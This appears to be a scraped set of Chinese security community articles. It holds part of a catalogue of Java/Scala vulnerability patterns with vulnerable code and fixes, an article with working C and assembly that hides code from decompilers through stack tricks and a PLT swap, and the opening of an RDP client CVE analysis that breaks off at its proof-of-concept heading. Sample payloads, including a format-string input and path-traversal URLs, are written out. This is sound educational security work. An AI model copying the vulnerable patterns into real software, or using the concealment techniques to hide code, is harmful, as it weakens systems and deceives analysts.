Violation](https://cwe.mitre.org/data/definitions/501.html)
[OWASP : Trust Boundary
Violation](https://www.owasp.org/index.php/Trust_Boundary_Violation)
# 恶意的XSLT
漏洞特征：JSP_XSLT
XSLT(可扩展样式表转换语言)是一种用于将XML 文档转换为其他XML 文档的语言。
xslt的样式表中可能会携带恶意的行为。所以，如果一个攻击者控制了源样式表的内容，那么它可能会触发远程代码执行
有漏洞的代码：
<x:transform xml="${xmlData}" xslt="${xsltControlledByUser}" />
解决方案：
解决方案确保源样式表来自安全的源，并且保证不会有类似于路径穿透的漏洞。
引用
[1] [Wikipedia: XSLT (Extensible Stylesheet Language
Transformations)](https://en.wikipedia.org/wiki/XSLT)
[Offensive XSLT](https://prezi.com/y_fuybfudgnd/offensive-xslt/) by Nicolas
Gregoire
[2] [From XSLT code execution to Meterpreter
shells](http://www.agarri.fr/kom/archives/2012/07/02/from_xslt_code_execution_to_meterpreter_shells/index.html)
by Nicolas Gregoire
[XSLT Hacking Encyclopedia](http://xhe.myxwiki.org/xwiki/bin/view/Main/) by
Nicolas Gregoire
[Acunetix.com : The hidden dangers of XSLTProcessor - Remote XSL
injection](http://www.acunetix.com/blog/articles/the-hidden-dangers-of-xsltprocessor-remote-xsl-injection/)
[w3.org XSL Transformations (XSLT) Version 1.0](https://www.w3.org/TR/xslt) :
w3c specification
[3] [WASC: Path
Traversal](http://projects.webappsec.org/w/page/13246952/Path%20Traversal)
[4] [OWASP: Path Traversal](https://www.owasp.org/index.php/Path_Traversal)
# 恶意的XSLT
漏洞特征：MALICIOUS_XSLT
XSLT(可扩展样式表转换语言)是一种用于将XML 文档转换为其他XML 文档的语言。
xslt的样式表中可能会携带恶意的行为。所以，如果一个攻击者控制了源样式表的内容，那么它可能会触发远程代码执行
有漏洞的代码：
Source xslt = new StreamSource(new FileInputStream(inputUserFile)); //Dangerous source to validate
Transformer transformer = TransformerFactory.newInstance().newTransformer(xslt);
Source text = new StreamSource(new FileInputStream("/data_2_process.xml"));
transformer.transform(text, new StreamResult(...));
解决方案：
解决方案确保源样式表来自安全的源，并且保证不会有类似于路径穿透的漏洞。
引用
[1] [Wikipedia: XSLT (Extensible Stylesheet Language
Transformations)](https://en.wikipedia.org/wiki/XSLT)
[Offensive XSLT](https://prezi.com/y_fuybfudgnd/offensive-xslt/) by Nicolas
Gregoire
[2] [From XSLT code execution to Meterpreter
shells](http://www.agarri.fr/kom/archives/2012/07/02/from_xslt_code_execution_to_meterpreter_shells/index.html)
by Nicolas Gregoire
[XSLT Hacking Encyclopedia](http://xhe.myxwiki.org/xwiki/bin/view/Main/) by
Nicolas Gregoire
[Acunetix.com : The hidden dangers of XSLTProcessor - Remote XSL
injection](http://www.acunetix.com/blog/articles/the-hidden-dangers-of-xsltprocessor-remote-xsl-injection/)
[w3.org XSL Transformations (XSLT) Version 1.0](https://www.w3.org/TR/xslt) :
w3c specification
[3] [WASC: Path
Traversal](http://projects.webappsec.org/w/page/13246952/Path%20Traversal)
[4] [OWASP: Path Traversal](https://www.owasp.org/index.php/Path_Traversal)
# 潜藏在Scala Play中的信息泄露
漏洞特征：SCALA_SENSITIVE_DATA_EXPOSURE
应用总是无意识的泄露一些配置信息，比如内部结构或者通过各种应用问题侵犯隐私。
基于各种有效的输入数据页面会返回不同的返回数据，尤其当机密数据被当成结果被web应用展示出来的时候，就会导致信息的泄露。
敏感数据包括（不仅仅是列出来的这些）：api密钥，密码，产品版本，环境配置。
有漏洞的代码：
def doGet(value:String) = Action {
val configElement = configuration.underlying.getString(value)
Ok("Hello "+ configElement +" !")
}
应用配置的关键部分不应该被输出到返回数据报文中，并且用户也不能操作那些被用于代码的关键配置。
引用：
[OWASP: Top 10 2013-A6-Sensitive Data
Exposure](https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure)
[1] [OWASP: Top 10 2007-Information Leakage and Improper Error
Handling](https://www.owasp.org/index.php/Top_10_2007-Information_Leakage_and_Improper_Error_Handling)
[2] [WASC-13: Information
Leakage](http://projects.webappsec.org/w/page/13246936/Information%20Leakage)
[CWE-200: Information
Exposure](https://cwe.mitre.org/data/definitions/200.html)
# Scala Play服务器端请求伪造(SSRF)
漏洞特征：SCALA_PLAY_SSRF
当服务器端发送一个请求，这个请求的目标地址是用户输入指定的，且这个请求没有被严格的效验时，就会发生服务器端请求伪造漏洞。这个漏洞允许攻击者用你的web服务器访问网络上的任何一台服务器或者攻击其他服务器。
有漏洞代码：
def doGet(value:String) = Action {
WS.url(value).get().map { response =>
Ok(response.body)
}
}
解决方案/对策
* 不要让用户控制请求的目的地址
* 接受一个目的地址的key，使用这个key去查找合法的目的地址
* urls地址白名单（如果可能的话）
* 用白名单校验url地址开头的部分
引用：
[CWE-918: Server-Side Request Forgery
(SSRF)](https://cwe.mitre.org/data/definitions/918.html)
[Understanding Server-Side Request
Forgery](https://www.bishopfox.com/blog/2015/04/vulnerable-by-design-understanding-server-side-request-forgery/)
# URLConnection中的服务器端请求伪造(SSRF) 和任意文件访问
漏洞特征：SCALA_PLAY_SSRF
当服务器端发送一个请求，这个请求的目标地址是用户输入指定的，且这个请求没有被严格的效验时，就会发生服务器端请求伪造漏洞。这个漏洞允许攻击者用你的web服务器访问网络上的任何一台服务器或者攻击其他服务器。
URLConnection能够使用file://协议获取其他的协议去访问本地的文件系统和其他的服务
有漏洞代码：
new URL(String url).openConnection()
new URL(String url).openStream()
new URL(String url).getContent()
解决方案/对策
* 不要让用户控制请求的目的地址
* 接受一个目的地址的key，使用这个key去查找合法的目的地址
* urls地址白名单（如果可能的话）
* 用白名单校验url地址开头的部分
引用：
[CWE-918: Server-Side Request Forgery
(SSRF)](https://cwe.mitre.org/data/definitions/918.html)
[Understanding Server-Side Request
Forgery](https://www.bishopfox.com/blog/2015/04/vulnerable-by-design-understanding-server-side-request-forgery/)
[CWE-73: External Control of File Name or
Path](https://cwe.mitre.org/data/definitions/73.html)
[Abusing jar:// downloads](https://www.pwntester.com/blog/2013/11/28/abusing-jar-downloads/)
# 在Scala Twirl模板引擎里面潜在的xss
漏洞规则：SCALA_XSS_TWIRL
可能会有潜在的xss漏洞。这可能会在客户端执行未期望的JavaScript。（见引用）
有漏洞的代码：
@(value: Html)
@value
解决方案：
@(value: String)
@value
抵御xss最好的方式是像上面在输出中编码特殊的字符。有4种环境类型要考虑：HTML, JavaScript, CSS (styles),
和URLs.请遵守OWASP XSS Prevention备忘录中定义的xss保护规则，里面会介绍一些重要的防御细节。
引用：
[WASC-8: Cross Site
Scripting](http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting)
[OWASP: XSS Prevention Cheat
Sheet](https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet)
[OWASP: Top 10 2013-A3: Cross-Site Scripting
(XSS)](https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_%28XSS%29)
[CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')](http://cwe.mitre.org/data/definitions/79.html)
[OWASP Java Encoder](https://code.google.com/p/owasp-java-encoder/)
# 在Scala MVC API引擎里面潜在的xss
漏洞规则： SCALA_XSS_MVC_API
可能会有潜在的xss漏洞。这可能会在客户端执行未期望的JavaScript。（见引用）
有漏洞的代码：
def doGet(value:String) = Action {
Ok("Hello " + value + " !").as("text/html")
}
解决方案：
def doGet(value:String) = Action {
Ok("Hello " + Encode.forHtml(value) + " !")
}
抵御xss最好的方式是像上面在输出中编码特殊的字符。有4种环境类型要考虑：HTML, JavaScript, CSS (styles),
和URLs.请遵守OWASP XSS Prevention备忘录中定义的xss保护规则，里面会介绍一些重要的防御细节。
引用：
[WASC-8: Cross Site
Scripting](http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting)
[OWASP: XSS Prevention Cheat
Sheet](https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet)
[OWASP: Top 10 2013-A3: Cross-Site Scripting
(XSS)](https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_%28XSS%29)
[CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')](http://cwe.mitre.org/data/definitions/79.html)
[OWASP Java Encoder](https://code.google.com/p/owasp-java-encoder/)
# 在Velocity中潜在的模板注入
漏洞特征：TEMPLATE_INJECTION_VELOCITY
Velocity模板引擎非常强大。你可以在模板中使用条件判断，循环，外部函数调用等逻辑代码。它里面也没有一个沙箱去限制操作。一个恶意的用户如果可以控制模板，那么他就可以在服务器端运行恶意代码。Velocity模板应被视为脚本。
有漏洞的代码：
[...]
Velocity.evaluate(context, swOut, "test", userInput);
解决方案：
避免让终端用户操作Velocity中的模板。如果你需要让你的用户去操作模板，那么最好限制模板引擎的能力，就像Handlebars 或 Moustache
一样（见引用）
引用：
[PortSwigger: Server-Side Template
Injection](http://blog.portswigger.net/2015/08/server-side-template-injection.html)
[Handlebars.java](https://jknack.github.io/handlebars.java/)
# 在Freemarker中潜在的模板注入
漏洞特征：TEMPLATE_INJECTION_FREEMARKER
Freemarker模板引擎非常强大。你可以在模板中使用条件判断，循环，外部函数调用等逻辑代码。它里面也没有一个沙箱去限制操作。一个恶意的用户如果可以控制模板，那么他就可以在服务器端运行恶意代码。Velocity模板应被视为脚本。
有漏洞的代码：
Template template = cfg.getTemplate(inputTemplate);
[...]
template.process(data, swOut);
解决方案：
避免让终端用户操作Freemarker中的模板。如果你需要让你的用户去操作模板，那么最好限制模板引擎的能力，就像Handlebars 或 Moustache
一样（见引用）
引用：
[PortSwigger: Server-Side Template
Injection](http://blog.portswigger.net/2015/08/server-side-template-injection.html)
[Handlebars.java](https://jknack.github.io/handlebars.java/)
# 过度宽松的cors策略
漏洞规则：PERMISSIVE_CORS
在html5之前，web浏览器强制使用同源策略，目的是保证JavaScript能够访问web页面的内容，JavaScript和web页面的起源必须来自于同一个域下。如果没有同源策略，那么恶意网站就可以用JavaScript脚本加载客户端的用户凭据，从而读取用户保存在其他网站的中敏感信息，然后把数据传送给攻击者。如果http返回头定义了Access-Control-Allow-Origin字段，那么就可以让JavaScript跨域访问数据。有了这个头，web服务器就可以定义哪些其他域可以跨域来访问这个服务器。可是应该小心定义这个头，因为过度宽松的cors策略可以让恶意的应用通过这样的方式去读取受害者应用中的敏感数据，这样就会导致欺骗，数据失窃，数据修改等其他的攻击行为。
有漏洞的代码：
response.addHeader("Access-Control-Allow-Origin", "*");
解决方案：
避免在Access-Control-Allow-Origin这个头中使用*，这表示运行在其他域下的任何JavaScript都可以访问这个域下的应用数据
引用：
[W3C Cross-Origin Resource Sharing](https://www.w3.org/TR/cors/)
[Enable Cross-Origin Resource Sharing](http://enable-cors.org/)
# 匿名的LDAP绑定
漏洞特征：LDAP_ANONYMOUS
没有做合适的访问控制，攻击者可以滥用ldap配置，让ldap服务器执行一段包含用户控制的代码。所有依赖ctx的ldap查询都可以以不需要用户认证和访问控制的方式去执行。攻击者可以操作其中的查询语句来获取被directory服务器保护的数据。
有漏洞代码：
...
env.put(Context.SECURITY_AUTHENTICATION, "none");
DirContext ctx = new InitialDirContext(env);
...
解决方案：
考虑ldap中其他的用户认证模式并且确保有合适的访问控制
引用：
[Ldap Authentication
Mechanisms](https://docs.oracle.com/javase/tutorial/jndi/ldap/auth_mechs.html)
# ldap 入口投毒
漏洞特征： LDAP_ENTRY_POISONING
JNDI api支持在ldap目录上绑定序列化对象。如果提供确定的属性，反序列化对象将会被用于应用数据的查询（详细信息见Black Hat USA 2016
白皮书）。反序列化对象是一个有风险的操作，他可能会导致远程代码执行。
如果攻击者获得ldap基本查询的入口点，那么这个漏洞就可能会被利用。通过添加一个属性给已存在的ldap入口或者通过配置应用，就可以恶意的使用ldap服务器了。
有漏洞的代码：
DirContext ctx = new InitialDirContext();
//[...]
ctx.search(query, filter,
new SearchControls(scope, countLimit, timeLimit, attributes,
true, //Enable object deserialization if bound in directory
deref));
解决方案：
DirContext ctx = new InitialDirContext();
//[...]
ctx.search(query, filter,
new SearchControls(scope, countLimit, timeLimit, attributes,
false, //Disable
deref));
引用：
[Black Hat USA 2016: A Journey From JNDI/LDAP Manipulation to Remote Code
Execution Dream Land (slides & video) by Alvaro Muñoz and Oleksandr
Mirosh](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf)
[HP Enterprise: Introducing JNDI Injection and LDAP Entry Poisoning by Alvaro
Muñoz](https://community.hpe.com/t5/Security-Research/Introducing-JNDI-Injection-and-LDAP-Entry-Poisoning/ba-p/6885118)
[TrendMicro: How The Pawn Storm Zero-Day Evaded Java's Click-to-Play
Protection by Jack Tang](http://blog.trendmicro.com/trendlabs-security-intelligence/new-headaches-how-the-pawn-storm-zero-day-evaded-javas-click-to-play-protection/)
# 使用持久性的cookie
漏洞特征：COOKIE_PERSISTENT
将敏感数据存储在持久性的cookie中会危害到数据的保密性和账户的安全性
解释：
如果隐私信息被存储在持久性的cookie中，攻击者就会利用这个巨大的时间窗口来窃取数据，尤其持久性cookie会在用户的电脑中保存非常长的一段时间。持久性cookie一般是以文本的形式存储在客户端，攻击者可以同年哥哥访问受害者的机器来获取到这些信息。
持久性cookie会被经常使用，目的是为了在用户和网站互动时能够分析用户的行为。依靠持久性cookie去追踪数据，这可能已经侵犯了用户的隐私
有漏洞的代码：下面的代码可以让cookie保存一年
[...]
Cookie cookie = new Cookie("email", email);
cookie.setMaxAge(60*60*24*365);
[...]
解决方案:
* 在有必要的时候使用持久性cookie，并且要限制最大过期时间
* 不要在敏感上使用持久性cookie
引用：
[Class Cookie setMaxAge
documentation](https://tomcat.apache.org/tomcat-5.5-doc/servletapi/javax/servlet/http/Cookie.html#setMaxAge%28int%29)
[CWE-539: Information Exposure Through Persistent
Cookies](https://cwe.mitre.org/data/definitions/539.html)
# url重写方法
漏洞规则：URL_REWRITING
该方法的实现包括确定是否需要在URL中编码session ID的逻辑。
url重写已经是非常严重的安全问题了，因为session ID 出现在url中，这就很容易被第三方获取到。在url中的session
ID会以很多种的方式被暴露。
* 日志
* 浏览器历史
* 复制粘贴到邮件中或者文章中
* http的Referrer头中
有漏洞的代码：
out.println("Click <a href=" +
res.encodeURL(HttpUtils.getRequestURL(req).toString()) +
">here</a>");
解决方案：
避免使用这些方法，如果您要编码URL字符串或表单参数，请不要将URL重写方法与URLEncoder类混淆。
引用：
[OWASP Top 10 2010-A3-Broken Authentication and Session Management](OWASP Top
10 2010-A3-Broken Authentication and Session Management)
# 不安全的SMTP SSL链接
漏洞特征：INSECURE_SMTP_SSL
当进行ssl连接时，服务器会禁用身份验证。一些启用ssl连接的邮件库默认情况下不会验证服务器的证书。这就等于信任所有的证书。当试图去连接服务器的时候，应用会很乐意的接收由"hackedserver.com"签发的证书。当应用连接到黑客的邮件服务器时会有泄露用户敏感信息的风险。
有漏洞的代码：
...
Email email = new SimpleEmail();
email.setHostName("smtp.servermail.com");
email.setSmtpPort(465);
email.setAuthenticator(new DefaultAuthenticator(username, password));
email.setSSLOnConnect(true);
email.setFrom("[email protected]");
email.setSubject("TestMail");
email.setMsg("This is a test mail ... :-)");
email.addTo("[email protected]");
email.send();
...
解决方案：
请添加验证服务器证书的模块
email.setSSLCheckServerIdentity(true);
引用：
[CWE-297: Improper Validation of Certificate with Host
Mismatch](https://cwe.mitre.org/data/definitions/297.html)
# AWS查询注入
漏洞特征：AWS_QUERY_INJECTION
如果SimpleDB数据库查询字符串中包含用户输入的话就会让攻击者查看未授权的记录。
下面这个例子就是动态的创建查询字符串并且执行SimpleDB的select()查询，这个查询中允许用户指定productCategory。攻击者可以修改查询，绕过customerID的身份验证从而查看所有消费者的记录。
有漏洞的代码：
...
String customerID = getAuthenticatedCustomerID(customerName, customerCredentials);
String productCategory = request.getParameter("productCategory");
...
AmazonSimpleDBClient sdbc = new AmazonSimpleDBClient(appAWSCredentials);
String query = "select * from invoices where productCategory = '"
+ productCategory + "' and customerID = '"
+ customerID + "' order by '"
+ sortColumn + "' asc";
SelectResult sdbResult = sdbc.select(new SelectRequest(query));
解决方案：
这个问题类似于sql注入，在进入SimpleDB数据库查询语句的之前要过滤用户的输入
引用：
[CWE-943: Improper Neutralization of Special Elements in Data Query
Logic](https://cwe.mitre.org/data/definitions/943.html)
# JavaBeans属性注入
漏洞特征：BEAN_PROPERTY_INJECTION
攻击者可以设置任意bean的属性，这样会降低系统的完整性。Bean的population函数允许设置bean的属性或者嵌套属性。
攻击者会影响这个函数从而去访问特殊的bean属性，比如class。类加载器允许他去操控系统属性并且会有潜在的执行任意代码的可能性。
有漏洞的代码：
MyBean bean = ...;
HashMap map = new HashMap();
Enumeration names = request.getParameterNames();
while (names.hasMoreElements()) {
String name = (String) names.nextElement();
map.put(name, request.getParameterValues(name));
}
BeanUtils.populate(bean, map);
解决方案：
避免使用用户能够控制的数据去设置Bean属性的名称
引用：
[CWE-15: External Control of System or Configuration
Setting](https://cwe.mitre.org/data/definitions/15.html)
# Struts敏感文件暴露
漏洞特征：STRUTS_FILE_DISCLOSURE
用户通过输入去访问服务器端的任意路径，这样会允许攻击者下载服务器端的任意文件（包含应用的类文件或者jar文件），或者直接查看在保护目录下的文件。
攻击者可能会伪造请求去寻找服务器中敏感的文件。例如，请求"[http://example.com/?returnURL=WEB-INF/applicationContext.xml"，服务器就会展示出applicationContext.xml的内容。攻击者就能通过applicationContext.xml精确的定位其他配置文件的位置，并且下载这些配置文件，甚至是类文件或者jar文件。获取到敏感信息之后，攻击者就会进行其他类型的攻击了。](http://example.com/?returnURL=WEB-INF/applicationContext.xml)
有漏洞的代码：
...
String returnURL = request.getParameter("returnURL");
Return new ActionForward(returnURL);
...
解决方案：
避免把用户输入的数据放入路径查询字符串之中。
引用：
[CWE-552: Files or Directories Accessible to External
Parties](https://cwe.mitre.org/data/definitions/552.html)
# Spring敏感文件暴露
漏洞特征：SPRING_FILE_DISCLOSURE
用户通过输入去访问服务器端的任意路径，这样会允许攻击者下载服务器端的任意文件（包含应用的类文件或者jar文件），或者直接查看在保护目录下的文件。
攻击者可能会伪造请求去寻找服务器中敏感的文件。例如，请求"[http://example.com/?returnURL=WEB-INF/applicationContext.xml"，服务器就会展示出applicationContext.xml的内容。攻击者就能通过applicationContext.xml精确的定位其他配置文件的位置，并且下载这些配置文件，甚至是类文件或者jar文件。获取到敏感信息之后，攻击者就会进行其他类型的攻击了。](http://example.com/?returnURL=WEB-INF/applicationContext.xml)
有漏洞的代码：
...
String returnURL = request.getParameter("returnURL");
return new ModelAndView(returnURL);
...
解决方案：
避免把用户输入的数据放入路径查询字符串之中。
引用：
[CWE-552: Files or Directories Accessible to External
Parties](https://cwe.mitre.org/data/definitions/552.html)
# RequestDispatcher敏感文件暴露
漏洞特征：REQUESTDISPATCHER_FILE_DISCLOSURE
用户通过输入去访问服务器端的任意路径，这样会允许攻击者下载服务器端的任意文件（包含应用的类文件或者jar文件），或者直接查看在保护目录下的文件。
攻击者可能会伪造请求去寻找服务器中敏感的文件。例如，请求[http://example.com/?jspFile=../applicationContext.xml%3F"，服务器就会展示出applicationContext.xml的内容。攻击者就能通过applicationContext.xml精确的定位其他配置文件的位置，并且下载这些配置文件，甚至是类文件或者jar文件。获取到敏感信息之后，攻击者就会进行其他类型的攻击了。](http://example.com/?jspFile=../applicationContext.xml%3F)
有漏洞的代码：
...
String jspFile = request.getParameter("jspFile");
request.getRequestDispatcher("/WEB-INF/jsps/" + jspFile + ".jsp").include(request, response);
...
解决方案：
避免把用户输入的数据放入路径查询字符串之中。
引用：
[CWE-552: Files or Directories Accessible to External
Parties](https://cwe.mitre.org/data/definitions/552.html)
# 格式化字符串操作
漏洞特征：FORMAT_STRING_MANIPULATION
如果用户输入能够控制格式化字符串参数的话，那么攻击者这个漏洞让应用抛出异常或者泄露信息。
攻击者可能会改变格式化字符串的参数，比如可以让应用抛出错误。如果错误没有被捕获，那么应用就会崩溃。
此外，如果敏感信息保留在内存中的话，那么攻击者就会改变格式化字符串去泄露敏感数据。
下面这个示例代码是让用户指定一个浮点数来展示余额，实际上，用户输入任何东西都会让应用抛出异常从而导致显示失败。甚至，更有害的例子是，如果攻击者输入"2f
%3$s %4$.2"，那么格式化字符串就会变成"The customer: %s %s has the balance %4$.2f %3$s
%4$.2"。这就会导致在输出结果中显示敏感的账户ID。
有漏洞代码：
Formatter formatter = new Formatter(Locale.US);
String format = "The customer: %s %s has the balance %4$." + userInput + "f";
formatter.format(format, firstName, lastName, accountNo, balance);
解决方案：
避免让用户输入控制格式化字符串参数
引用:
[CWE-134: Use of Externally-Controlled Format
String](http://cwe.mitre.org/data/definitions/134.html)
# http参数被污染
漏洞特征：HTTP_PARAMETER_POLLUTION
将未验证的用户输入直接拼接到url中，这会让攻击者操控请求参数的值。攻击者可能会操控已存在参数的值，注入新的参数或者利用非变量字典中的参数。http参数污染
(HPP) 攻击包含将已编码的查询字符串分隔符注入其他现有参数。如果应用没有过滤用户输入，那么恶意的用户就可以构造特殊的输入攻击服务器端或者客户端程序。
在下面的例子中，程序员可能没有考虑到攻击者会给参数lang输入en&user_id=1，这可能会让他的用户id发生改变。
有漏洞代码：
String lang = request.getParameter("lang");
GetMethod get = new GetMethod("http://www.host.com");
get.setQueryString("lang=" + lang + "&user_id=" + user_id);
get.execute();
解决方案：
在使用http参数之前过滤用户输入数据
引用：
[CAPEC-460: HTTP Parameter Pollution
(HPP)](https://capec.mitre.org/data/definitions/460.html)
# 通过报错泄露敏感信息
漏洞特征：INFORMATION_EXPOSURE_THROUGH_AN_ERROR_MESSAGE
在用户看来敏感信息是非常有价值的（比如密码），或者它可能会对其他平台有用，更多的情况下，会引发非常致命的攻击。如果攻击失败，攻击者就会参考服务器提供的错误信息来做更针对性的攻击。比如，试图利用目录穿越漏洞(CWE-22)可能会显示出应用安装的绝对路径。反过来，这样就可以选择合适数量的".."去跳转到目标文件上。攻击者使用的sql注入(CWE-89)可能在一开始的时候不会成功，但是错误信息可能会展示畸形的查询，这可能会暴露查询逻辑，甚至密码或者包含在数据库中的其他敏感信息
有漏洞的代码：
try {
out = httpResponse.getOutputStream()
} catch (Exception e) {
e.printStackTrace(out);
}
引用:
[CWE-209: Information Exposure Through an Error
Message](https://cwe.mitre.org/data/definitions/209.html)
# SMTP 头部注入
漏洞特征：SMTP_HEADER_INJECTION
简单邮件传输协议 (SMTP) 是基于纯文本协议来投递邮件的。就像http，头部字段被new line
所分割。如果用户输入被放置到邮件的头部，那么应用应该删除或者替换掉new line字符串(CR / LF)。你应该使用安全的封装，比如 [Apache
Common Email](https://commons.apache.org/proper/commons-email/userguide.html)
和[Simple Java Mail](http://www.simplejavamail.org/) ，这些库会过滤掉那些会导致头部注入的特殊字符。
有漏洞代码：
Message message = new MimeMessage(session);
message.setFrom(new InternetAddress("[email protected]"));
message.setRecipients(Message.RecipientType.TO, new InternetAddress[] {new InternetAddress("[email protected]")});
message.setSubject(usernameDisplay + " has sent you notification"); //Injectable API
message.setText("Visit your ACME Corp profile for more info.");
Transport.send(message);
解决方案：
使用[Apache Common Email](https://commons.apache.org/proper/commons-email/userguide.html) 或[Simple Java Mail](http://www.simplejavamail.org/)
引用：
[OWASP SMTP
Injection](https://www.owasp.org/index.php/Testing_for_IMAP/SMTP_Injection_\(OTG-INPVAL-011))
[CWE-93: Improper Neutralization of CRLF Sequences ('CRLF
Injection')](https://cwe.mitre.org/data/definitions/93.html)
[Commons Email: User Guide](https://commons.apache.org/proper/commons-email/userguide.html)
[Simple Java Mail Website](http://www.simplejavamail.org/)
[StackExchange InfoSec: What threats come from CRLF in email
generation?](https://security.stackexchange.com/a/54100/24973) | 社区文章 |
程序编译的操作把人类可读的源码翻译成机器能识别的机器代码，反编译器是尝试恢复源码级表示的行为。
现在的编译工具变得越来越强大，一键就可以实现逆向工程，将机器代码变成人类可读的源码。本文介绍几种反反编译技术来干扰和误导依赖反编译工具的逆向工程师们。
## Positive SP值
第一项技术是Positive SP值，这是一项古典的但是很有效果的方法，可以干扰Hex-Rays反编译器的行为。在IDA
Pro中，如果不能清楚之前的栈分配，反编译器会拒绝反编译一个函数。
图2 在反编译的过程中如果检测到一个positive栈指针，IDA的报错消息
这是只有在IDA不能找出特定函数调用的type定义时才会产生。
作为反反编译技术，开发者可以找出在函数中想要隐藏在函数中的行为，使用的opaque predicate技术，这种技术可以破坏栈指针的平衡。
//
// compiled on Ubuntu 16.04 with:
// gcc -o predicate predicate.c -masm=intel
//
#include <stdio.h>
#define positive_sp_predicate \
__asm__ (" push rax \n"\
" xor eax, eax \n"\
" jz opaque \n"\
" add rsp, 4 \n"\
"opaque: \n"\
" pop rax \n");
void protected()
{
positive_sp_predicate;
puts("Can't decompile this function");
}
void main()
{
protected();
}
在运行时，positive_sp_predicate宏中定义的add rsp,
4永远不会执行，但会诱发IDA执行反编译的静态分析。尝试去反编译protected()函数产生了下面的结果：
图3 使用opaque predicates来扰乱栈指针，做为一种反反编译的方法
这种技术很著名，可以通过补丁修复或者手动纠正栈的偏移量来解决。因此，这种技术可以干扰那些跳过反装载（assembly）直接进行反编译的初级逆向工程师，比如学生。
## Return Hijacking
现代的反编译器的一个希望就是精确地识别并提取编辑器生成的低层的记账逻辑，比如函数序言、尾记和控制流元数据。
图4 编译器生成函数结束会保存寄存器、分配给栈结构
反编译器会从输出中省去这种信息，因为保存寄存器或管理栈结构分配的概念不存在于源码级。这些省去的一个有意思的地方是我们可以在反编译器没有报错的情况下在从函数返回前旋转栈。
图5 在ROP链上旋转栈指针
Stack
pivoting是一种二进制利用的常用方法，可以用来获取任意ROP。开发者用它作为一种从逆向工程师处劫持执行的机制。那些只关注反编译器的输出可以保证会错过这些信息。
图6 反编译main，一个假的函数以stack pivot结束
我们在一个小的已经编译为二进制文件的ROP链上进行了栈旋转，这起着误导的作用。最终的结果是一个对反编译器不可见的函数调用。分开调用的函数简单地打印出“evil
code”来证明代码执行了。
图7 使用return hijacking反反编译技术执行编译过的二进制文件
证明从反编译器技术中隐藏代码技术的代码在下面可以找到。
// compiled on Ubuntu 16.04 with:
// gcc -o return return.c -masm=intel
//#include <stdio.h>void evil() {
puts("Evil Code");}
extern void gadget();__asm__ (".global gadget \n"
"gadget: \n"
" pop rax \n"
" mov rsp, rbp \n"
" call rax \n"
" pop rbp \n"
" ret \n");
void * gadgets[] = {gadget, evil};
void deceptive() {
puts("Hello World!");
__asm__("mov rsp, %0;\n"
"ret"
:
:"i" (gadgets));}
void main() {
deceptive();}
## 滥用‘noreturn’函数
还有一项可以利用IDA的技术是感知函数（perception of
functions），这些函数会被自动标记为noreturn。一些常见的noreturn函数的例子有exit()，abort()等。
在为给定的函数生成伪代码的时候，反编译器会丢弃所有调用noreturn函数之后的代码。正常的逻辑是exit() 这样的函数之后不应该再有代码执行。
图8 noreturn函数之后的代码对反编译器是不可见的
如果程序员可以欺骗IDA让IDA相信某个不是noreturn函数的函数是noreturn函数，那么就可以隐藏代码了。下面的例子证明了我们的设想。
//
// compiled on Ubuntu 16.04 with:
// gcc -o noreturn noreturn.c
//#include <stdio.h>
#include <stdlib.h>void ignore() {
exit(0); // force a PLT/GOT entry for exit()
}
void deceptive() {
puts("Hello World!");
srand(0); // post-processing will swap srand() <--> exit() puts("Evil Code");
}
void main() {
deceptive();
}
通过编译上面的代码，并对生成的二进制文件运行基于Binary Ninja的post-processing script脚本，我们可以在Procedure
Linkage Table表中交换进栈的序数。这些索引在runtime状态下解析库引用时使用。
图9 在ELF头部交换PLT序数
在上面的例子中，我们交换了srand() 和 exit()的序数，并且修改了一些调用。IDA相信修改后的二进制文件的deceptive()
函数调用的是noreturn函数exit(),而不是应该调用的srand()。
图10 隐藏在noreturn调用后的欺骗函数
我们在IDA runtime中看到的 exit()调用实际上是srand() 调用。这对反编译器的效果等同于return
hijacking技术。对二进制文件的运行证明了‘Evil Code’ 在反编译器不知道的情况下被运行了。
图11 使用noreturn技术执行编译的二进制文件
## 结论
反编译器是一种非常有用但是不完美的技术。利用不完整的信息为用户提供尽可能完整的估计。恶意用户就可以利用这种不对称进行欺骗。随着业界越来越依赖反编译器，使用反反编译技术和反调试、反逆向会越来越多。
<https://blog.ret2.io/2017/11/16/dangers-of-the-decompiler/> | 社区文章 |
**作者：yyjb@360高级攻防实验室
原文链接：<http://noahblog.360.cn/cve-2021-34535-rdpke-hu-duan-lou-dong-fen-xi/>**
## 背景：
2021年的八月份微软补丁日，微软公布的补丁中包含两个我们比较感兴趣的两个RCE漏洞中，另一个是cve-2021-34535
RDP客户端的代码执行漏洞。在现代windows系统中，RDP客户端不仅仅被使用在RDP协议中，并且hyper-V中，也似乎保留了部分mstscax.dll功能。因此，该漏洞如果可以在实际环境中构造exp，其威胁是比较严重的。这里我们的目标对该漏洞是否能够在实际中使用进行一个大概的分析判断。并且，因为我们更感兴趣该漏洞在RDP协议下的影响，所以本次分析是基于RDP协议的背景环境。
## 补丁分析：
通过官方的说明，这是一个存在于mstscax.dll中的漏洞，对比补丁前后代码差异，我们可以比较容易的确认漏洞的基本原理：如下：
这是一个典型的整形溢出漏洞，
另外这里我们还可以注意到，RDP客户端这个代码执行漏洞位置似乎不仅仅只有这一个整形溢出的可能需要判断，还需要验证该sample数据长度是否小于数据包实际携带的sample数据。如果实际的流数据长度小于数据包中长度记录的值，在后续的复制sample数据时，也可能因为读取超出实际数据长度的地址数据而导致崩溃。
## 构造POC：
